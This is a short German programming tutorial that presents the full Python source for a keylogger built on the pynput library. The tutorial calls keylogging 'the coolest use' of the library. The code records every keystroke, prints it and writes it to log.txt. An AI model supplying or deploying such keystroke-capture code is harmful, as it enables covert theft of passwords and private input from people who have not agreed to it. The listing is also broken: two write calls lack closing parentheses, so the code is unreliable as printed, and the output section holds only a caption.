Voraussetzungen: Python-Programmiersprache

Das Paket pynput.keyboard enthält Klassen zur Steuerung und Überwachung der Tastatur. pynput ist die Python-Bibliothek, mit der Tastatureingaben erfasst werden können. Die coolste Verwendung davon ist die Erstellung von Keyloggern. Der Code für den Keylooger ist unten angegeben.

Module benötigt

pynput: Um pynput zu installieren, geben Sie den folgenden Befehl in das Terminal ein.

 pip install pynput 

Unten ist die Implementierung:

   
import pynput 
from pynput.keyboard import Key, Listener 
   
keys = [] 
   
def on_press(key): 
      
    keys.append(key) 
    write_file(keys) 
      
    try: 
        print('alphanumeric key {0} pressed'.format(key.char)) 
          
    except AttributeError: 
        print('special key {0} pressed'.format(key)) 
           
def write_file(keys): 
      
    with open('log.txt', 'w') as f: 
        for key in keys: 
              
            
            k = str(key).replace("'", "") 
            f.write(k 
                      
            
            
            f.write(' '
               
def on_release(key): 
                      
    print('{0} released'.format(key)) 
    if key == Key.esc: 
        
        return False
   
   
with Listener(on_press = on_press, 
              on_release = on_release) as listener: 
                      
    listener.join() 

Ausgabe:



Python-Keylogger-Pyinput